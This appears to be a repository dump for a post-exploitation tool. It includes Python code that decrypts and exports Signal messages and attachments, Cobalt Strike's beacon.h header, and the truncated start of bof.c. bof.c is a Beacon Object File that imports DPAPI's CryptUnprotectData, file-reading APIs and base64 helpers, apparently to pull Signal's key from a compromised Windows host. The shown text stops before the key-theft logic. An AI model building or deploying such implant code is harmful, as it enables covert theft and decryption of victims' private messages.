self.timestamp 46 | return 0 47 | 48 | 49 | @dataclass 50 | class Contact: 51 | id: str 52 | serviceId: str 53 | name: str 54 | number: str 55 | profile_name: str 56 | is_group: bool 57 | members: list[str] | None 58 | 59 | 60 | Contacts = dict[str, Contact] 61 | Convos = dict[str, list[RawMessage]] 62 | 63 | Reaction = namedtuple("Reaction", ["name", "emoji"]) 64 | 65 | 66 | def is_image(p: str) -> bool: 67 | suffix = p.split(".") 68 | return len(suffix) > 1 and suffix[-1] in [ 69 | "png", 70 | "jpg", 71 | "jpeg", 72 | "gif", 73 | "tif", 74 | "tiff", 75 | ] 76 | 77 | 78 | def is_audio(p: str) -> bool: 79 | suffix = p.split(".") 80 | return len(suffix) > 1 and suffix[-1] in [ 81 | "m4a", 82 | "aac", 83 | ] 84 | 85 | 86 | def is_video(p: str) -> bool: 87 | suffix = p.split(".") 88 | return len(suffix) > 1 and suffix[-1] in [ 89 | "mp4", 90 | ] 91 | 92 | 93 | @dataclass 94 | class Attachment: 95 | name: str 96 | path: str 97 | 98 | 99 | @dataclass 100 | class Message: 101 | date: datetime 102 | sender: str 103 | body: str 104 | quote: str 105 | sticker: str 106 | reactions: list[Reaction] 107 | attachments: list[Attachment] 108 | 109 | def to_md(self: Message) -> str: 110 | date_str = self.date.strftime("%Y-%m-%d %H:%M:%S") 111 | body = self.body 112 | 113 | if len(self.reactions) > 0: 114 | reactions = [f"{r.name}: {r.emoji}" for r in self.reactions] 115 | body = body + "\n(- " + ", ".join(reactions) + " -)" 116 | 117 | if len(self.sticker) > 0: 118 | body = body + "\n(( " + self.sticker + " ))" 119 | 120 | for att in self.attachments: 121 | if is_image(att.path): 122 | body += "!" 123 | body += f"[{att.name}](./{att.path}) " 124 | 125 | return f"[{date_str}] {self.sender}: {self.quote}{body}\n" 126 | 127 | def comp(self: Message) -> tuple[datetime, str, str]: 128 | date = self.date.replace(second=0, microsecond=0) 129 | return (date, self.sender, self.body.replace("\n", "").replace(">", "").strip()) 130 | 131 | def dict(self: Message) -> dict: 132 | msg_dict = asdict(self) 133 | msg_dict["date"] = msg_dict["date"].isoformat() 134 | return msg_dict 135 | 136 | def dict_str(self: Message) -> str: 137 | return json.dumps(self.dict(), ensure_ascii=False) 138 | 139 | 140 | Chats = dict[str, list[Message]] 141 | 142 | 143 | @dataclass 144 | class MergeMessage: 145 | date: datetime 146 | sender: str 147 | body: str 148 | 149 | def to_message(self: MergeMessage) -> Message: 150 | body = self.body 151 | 152 | p_reactions = re.compile(r"\n\(- (.*) -\)") 153 | m_reactions = re.findall(p_reactions, body) 154 | reactions = [] 155 | if m_reactions: 156 | for r in m_reactions[0].split(", "): 157 | reac = r.split(":") 158 | if len(reac) < 2: 159 | continue 160 | name, emoji = reac 161 | reactions.append(Reaction(name, emoji)) 162 | body = re.sub(p_reactions, "", body) 163 | 164 | p_stickers = r"\n\(\( (.*) \)\)" 165 | stickers = re.findall(p_stickers, self.body) 166 | sticker = stickers[0] if stickers else "" 167 | body = re.sub(p_stickers, "", body) 168 | 169 | p_quote = re.compile(r"\n> (.*)$") 170 | m_quote = re.findall(p_quote, self.body) 171 | quote = "" 172 | if m_quote: 173 | quote = "".join(m_quote) 174 | body = re.sub(p_quote, "", body) 175 | 176 | p_attachments = r"!{0,1}\[(.*?)\]\((.*?)\)" 177 | m_attachments = re.findall(p_attachments, self.body) 178 | attachments = [] 179 | if m_attachments: 180 | attachments = [Attachment(name=g[0], path=g[1]) for g in m_attachments] 181 | body = re.sub(p_attachments, "", body) 182 | 183 | body = body.rstrip("\n") 184 | 185 | return Message( 186 | date=self.date, 187 | sender=self.sender, 188 | body=body, 189 | quote=quote, 190 | reactions=reactions, 191 | sticker=sticker, 192 | attachments=attachments, 193 | ) -------------------------------------------------------------------------------- /helpers/files.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import hashlib 3 | import hmac 4 | import shutil 5 | from datetime import datetime 6 | from pathlib import Path 7 | 8 | from Crypto.Cipher import AES 9 | from typer import colors, secho 10 | 11 | from helpers import models 12 | from helpers.logging import log 13 | 14 | CIPHER_KEY_SIZE = 32 15 | IV_SIZE = AES.block_size 16 | MAC_KEY_SIZE = 32 17 | MAC_SIZE = hashlib.sha256().digest_size 18 | 19 | 20 | def decrypt_attachment(att: dict[str, str], src_path: Path, dst_path: Path) -> None: 21 | """Decrypt attachment and save to `dst_path`. 22 | 23 | Code adapted from: 24 | https://github.com/tbvdm/sigtop 25 | from https://github.com/carderne/signal-export 26 | """ 27 | try: 28 | keys = base64.b64decode(att["localKey"]) 29 | except KeyError: 30 | raise ValueError("No key in attachment") 31 | except Exception as e: 32 | raise ValueError(f"Cannot decode keys: {str(e)}") 33 | 34 | if len(keys) != CIPHER_KEY_SIZE + MAC_KEY_SIZE: 35 | raise ValueError("Invalid keys length") 36 | 37 | cipher_key = keys[:CIPHER_KEY_SIZE] 38 | mac_key = keys[CIPHER_KEY_SIZE:] 39 | 40 | try: 41 | with open(src_path, "rb") as fp: 42 | data = fp.read() 43 | except Exception as e: 44 | raise ValueError(f"Failed to read file: {str(e)}") 45 | 46 | if len(data) < IV_SIZE + MAC_SIZE: 47 | raise ValueError("Attachment data too short") 48 | 49 | iv = data[:IV_SIZE] 50 | their_mac = data[-MAC_SIZE:] 51 | data = data[IV_SIZE:-MAC_SIZE] 52 | 53 | if len(data) % AES.block_size != 0: 54 | raise ValueError("Invalid attachment data length") 55 | 56 | m = hmac.new(mac_key, iv + data, hashlib.sha256) 57 | our_mac = m.digest() 58 | 59 | if not hmac.compare_digest(our_mac, their_mac): 60 | raise ValueError("MAC mismatch") 61 | 62 | try: 63 | cipher = AES.new(cipher_key, AES.MODE_CBC, iv) 64 | decrypted_data = cipher.decrypt(data) 65 | except Exception as e: 66 | raise ValueError(f"Decryption failed: {str(e)}") 67 | 68 | if len(decrypted_data) < int(att["size"]): 69 | raise ValueError("Invalid attachment data length") 70 | 71 | data_decrypted = decrypted_data[: att["size"]] 72 | with open(dst_path, "wb") as fp: 73 | fp.write(data_decrypted) 74 | 75 | 76 | def copy_attachments( 77 | src: Path, dest: Path, convos: models.Convos, contacts: models.Contacts 78 | ) -> None: 79 | """Copy attachments and reorganise in destination directory.""" 80 | src_root = Path(src) 81 | dest = Path(dest) 82 | 83 | for key, messages in convos.items(): 84 | if messages == []: 85 | continue 86 | name = contacts[key].name 87 | log(f"\tCopying attachments for: {name}") 88 | # some contact names are None 89 | if not name: 90 | name = "None" 91 | dst_root = dest / name / "media" 92 | dst_root.mkdir(exist_ok=True, parents=True) 93 | for msg in messages: 94 | if msg.attachments: 95 | attachments = msg.attachments 96 | date = ( 97 | datetime.fromtimestamp(msg.get_ts() / 1000) 98 | .isoformat(timespec="milliseconds") 99 | .replace(":", "-") 100 | ) 101 | for i, att in enumerate(attachments): 102 | # Account for no fileName key 103 | file_name = str(att["fileName"]) if "fileName" in att else "None" 104 | # Sometimes the key is there but it is None, needs extension 105 | if "." not in file_name: 106 | content_type = att.get("contentType", "").split("/") 107 | if len(content_type) > 1: 108 | ext = content_type[1] 109 | else: 110 | ext = content_type[0] 111 | file_name += "." + ext 112 | att["fileName"] = ( 113 | f"{date}_{i:02}_{file_name}".replace(" ", "_") 114 | .replace("/", "-") 115 | .replace(",", "") 116 | .replace(":", "-") 117 | .replace("|", "-") 118 | ) 119 | # account for erroneous backslash in path 120 | try: 121 | att_path = str(att["path"]).replace("\\", "/") 122 | except KeyError: 123 | log(f"\t\tBroken attachment:\t{name}") 124 | continue 125 | src_path = src_root / att_path 126 | dst_path = dst_root / att["fileName"] 127 | if int(att.get("version", 0)) >= 2: 128 | try: 129 | decrypt_attachment(att, src_path, dst_path) 130 | except ValueError as e: 131 | secho( 132 | f"Failed to decrypt {src_path} error {e}, skipping", 133 | fg=colors.MAGENTA, 134 | ) 135 | else: 136 | try: 137 | shutil.copy2(src_path, dst_path) 138 | except FileNotFoundError: 139 | secho( 140 | f"No file to copy at {src_path}, skipping!", 141 | fg=colors.MAGENTA, 142 | ) 143 | except OSError as exc: 144 | secho( 145 | f"Error copying file {src_path}, skipping!\n{exc}", 146 | fg=colors.MAGENTA, 147 | ) 148 | else: 149 | msg.attachments = [] 150 | 151 | 152 | def merge_attachments(media_new: Path, media_old: Path) -> None: 153 | """Merge new and old attachments directories.""" 154 | for f in media_old.iterdir(): 155 | if f.is_file(): 156 | try: 157 | shutil.copy2(f, media_new) 158 | except shutil.SameFileError: 159 | log( 160 | f"Skipped file {f} as duplicate found in new export directory!", 161 | fg=colors.RED, 162 | ) -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | * 7/18/2023: Added BeaconInformation API for 4.9 14 | * 7/31/2023: Added Key/Value store APIs for 4.9 15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue 16 | * 8/31/2023: Added Data store APIs for 4.9 17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, 18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries 19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 20 | */ 21 | 22 | /* data API */ 23 | typedef struct { 24 | char * original; /* the original buffer [so we can free it] */ 25 | char * buffer; /* current pointer into our buffer */ 26 | int length; /* remaining length of data */ 27 | int size; /* total size of this buffer */ 28 | } datap; 29 | 30 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 31 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 32 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 33 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 34 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 35 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 36 | 37 | /* format API */ 38 | typedef struct { 39 | char * original; /* the original buffer [so we can free it] */ 40 | char * buffer; /* current pointer into our buffer */ 41 | int length; /* remaining length of data */ 42 | int size; /* total size of this buffer */ 43 | } formatp; 44 | 45 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 46 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 47 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 48 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 49 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 50 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 51 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 52 | 53 | /* Output Functions */ 54 | #define CALLBACK_OUTPUT 0x0 55 | #define CALLBACK_OUTPUT_OEM 0x1e 56 | #define CALLBACK_OUTPUT_UTF8 0x20 57 | #define CALLBACK_ERROR 0x0d 58 | 59 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 60 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 61 | 62 | 63 | /* Token Functions */ 64 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 65 | DECLSPEC_IMPORT void BeaconRevertToken(); 66 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 67 | 68 | /* Spawn+Inject Functions */ 69 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 70 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 71 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 72 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 73 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 74 | 75 | /* Utility Functions */ 76 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 77 | 78 | /* Beacon Information */ 79 | /* 80 | * ptr - pointer to the base address of the allocated memory. 81 | * size - the number of bytes allocated for the ptr. 82 | */ 83 | typedef struct { 84 | char * ptr; 85 | size_t size; 86 | } HEAP_RECORD; 87 | #define MASK_SIZE 13 88 | 89 | /* 90 | * sleep_mask_ptr - pointer to the sleep mask base address 91 | * sleep_mask_text_size - the sleep mask text section size 92 | * sleep_mask_total_size - the sleep mask total memory size 93 | * 94 | * beacon_ptr - pointer to beacon's base address 95 | * The stage.obfuscate flag affects this value when using CS default loader. 96 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) 97 | * false: beacon_ptr = allocated_buffer (A valid address) 98 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain 99 | * when the 2nd argument is set to DLL_PROCESS_ATTACH. 100 | * sections - list of memory sections beacon wants to mask. These are offset values 101 | * from the beacon_ptr and the start value is aligned on 0x1000 boundary. 102 | * A section is denoted by a pair indicating the start and end offset values. 103 | * The list is terminated by the start and end offset values of 0 and 0. 104 | * heap_records - list of memory addresses on the heap beacon wants to mask. 105 | * The list is terminated by the HEAP_RECORD.ptr set to NULL. 106 | * mask - the mask that beacon randomly generated to apply 107 | */ 108 | typedef struct { 109 | char * sleep_mask_ptr; 110 | DWORD sleep_mask_text_size; 111 | DWORD sleep_mask_total_size; 112 | 113 | char * beacon_ptr; 114 | DWORD * sections; 115 | HEAP_RECORD * heap_records; 116 | char mask[MASK_SIZE]; 117 | } BEACON_INFO; 118 | 119 | DECLSPEC_IMPORT void BeaconInformation(BEACON_INFO * info); 120 | 121 | /* Key/Value store functions 122 | * These functions are used to associate a key to a memory address and save 123 | * that information into beacon. These memory addresses can then be 124 | * retrieved in a subsequent execution of a BOF. 125 | * 126 | * key - the key will be converted to a hash which is used to locate the 127 | * memory address. 128 | * 129 | * ptr - a memory address to save. 130 | * 131 | * Considerations: 132 | * - The contents at the memory address is not masked by beacon. 133 | * - The contents at the memory address is not released by beacon. 134 | * 135 | */ 136 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); 137 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key); 138 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); 139 | 140 | /* Beacon Data Store functions 141 | * These functions are used to access items in Beacon's Data Store. 142 | * BeaconDataStoreGetItem returns NULL if the index does not exist. 143 | * 144 | * The contents are masked by default, and BOFs must unprotect the entry 145 | * before accessing the data buffer. BOFs must also protect the entry 146 | * after the data is not used anymore. 147 | * 148 | */ 149 | 150 | #define DATA_STORE_TYPE_EMPTY 0 151 | #define DATA_STORE_TYPE_GENERAL_FILE 1 152 | 153 | typedef struct { 154 | int type; 155 | DWORD64 hash; 156 | BOOL masked; 157 | char* buffer; 158 | size_t length; 159 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; 160 | 161 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); 162 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); 163 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); 164 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); 165 | 166 | /* Beacon User Data functions */ 167 | DECLSPEC_IMPORT char * BeaconGetCustomUserData(); 168 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /bof.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "beacon.h" 6 | 7 | 8 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI CRYPT32$CryptUnprotectData(DATA_BLOB*, LPWSTR*, DATA_BLOB*, PVOID, CRYPTPROTECT_PROMPTSTRUCT*, DWORD, DATA_BLOB*); 9 | DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 10 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID); 11 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh); 12 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); 13 | DECLSPEC_IMPORT WINBASEAPI LPWSTR WINAPI SHLWAPI$PathCombineW(LPWSTR pszDest, LPCWSTR pszDir, LPCWSTR pszFile); 14 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI SHLWAPI$PathFileExistsW(LPCWSTR pszPath); 15 | DECLSPEC_IMPORT WINBASEAPI LPSTR WINAPI SHLWAPI$StrStrA(LPCSTR lpFirst, LPCSTR lpSrch); 16 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); 17 | DECLSPEC_IMPORT WINBASEAPI void* WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 18 | DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 19 | DECLSPEC_IMPORT WINBASEAPI size_t __cdecl MSVCRT$strlen(const char* _Str); 20 | DECLSPEC_IMPORT WINBASEAPI void* __cdecl MSVCRT$memcpy(void* _Dst, const void* _Src, size_t _MaxCount); 21 | DECLSPEC_IMPORT WINBASEAPI PCHAR __cdecl MSVCRT$strchr(const char* haystack, int needle); 22 | DECLSPEC_IMPORT WINBASEAPI int __cdecl MSVCRT$sprintf(char* __stream, const char* __format, ...); 23 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); 24 | DECLSPEC_IMPORT WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL); 25 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW(LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize); 26 | DECLSPEC_IMPORT WINBASEAPI UINT WINAPI OLEAUT32$SysStringByteLen(BSTR bstr); 27 | 28 | 29 | #define CryptUnprotectData CRYPT32$CryptUnprotectData 30 | #define CreateFileW KERNEL32$CreateFileW 31 | #define GetLastError KERNEL32$GetLastError 32 | #define GetFileSize KERNEL32$GetFileSize 33 | #define ReadFile KERNEL32$ReadFile 34 | #define PathCombineW SHLWAPI$PathCombineW 35 | #define PathFileExistsW SHLWAPI$PathFileExistsW 36 | #define StrStrA SHLWAPI$StrStrA 37 | #define CloseHandle KERNEL32$CloseHandle 38 | #define HeapAlloc KERNEL32$HeapAlloc 39 | #define GetProcessHeap KERNEL32$GetProcessHeap 40 | #define strlen MSVCRT$strlen 41 | #define stchr MSVCRT$strchr 42 | #define sprintf MSVCRT$sprintf 43 | #define LocalFree KERNEL32$LocalFree 44 | #define ExpandEnvironmentStringsW KERNEL32$ExpandEnvironmentStringsW 45 | #define memcpy MSVCRT$memcpy 46 | #define SysStringByteLen OLEAUT32$SysStringByteLen 47 | 48 | 49 | 50 | #define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) 51 | #define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) 52 | 53 | const char* BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 54 | #define KEY_SIZE 32 55 | 56 | static const char encoding_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 57 | static const int mod_table[] = { 0, 2, 1 }; 58 | 59 | char* base64_encode(const BYTE* data, size_t input_length) { 60 | size_t output_length = 4 * ((input_length + 2) / 3); 61 | char* encoded_data = (char*)intAlloc(output_length + 1); 62 | if (encoded_data == NULL) return NULL; 63 | 64 | for (size_t i = 0, j = 0; i < input_length;) { 65 | uint32_t octet_a = i < input_length ? data[i++] : 0; 66 | uint32_t octet_b = i < input_length ? data[i++] : 0; 67 | uint32_t octet_c = i < input_length ? data[i++] : 0; 68 | 69 | uint32_t triple = (octet_a << 16) | (octet_b << 8) | octet_c; 70 | 71 | encoded_data[j++] = encoding_table[(triple >> 18) & 0x3F]; 72 | encoded_data[j++] = encoding_table[(triple >> 12) & 0x3F]; 73 | encoded_data[j++] = encoding_table[(triple >> 6) & 0x3F]; 74 | encoded_data[j++] = encoding_table[triple & 0x3F]; 75 | } 76 | 77 | for (size_t i = 0; i < mod_table[input_length % 3]; i++) { 78 | encoded_data[output_length - 1 - i] = '='; 79 | } 80 | 81 | encoded_data[output_length] = '\0'; 82 | return encoded_data; 83 | } 84 | 85 | 86 | int isBase64(char c) { 87 | return (c >= 'A' && c <= 'Z') || // Uppercase letters 88 | (c >= 'a' && c <= 'z') || // Lowercase letters 89 | (c >= '0' && c <= '9') || // Digits 90 | (c == '+') || (c == '/'); // '+' and '/' 91 | } 92 | 93 | uint8_t* Base64Decode(const char* encoded_string, size_t* out_len) { 94 | int in_len = MSVCRT$strlen(encoded_string); 95 | int i = 0, j = 0, in_ = 0; 96 | uint8_t char_array_4[4], char_array_3[3]; 97 | size_t decoded_size = 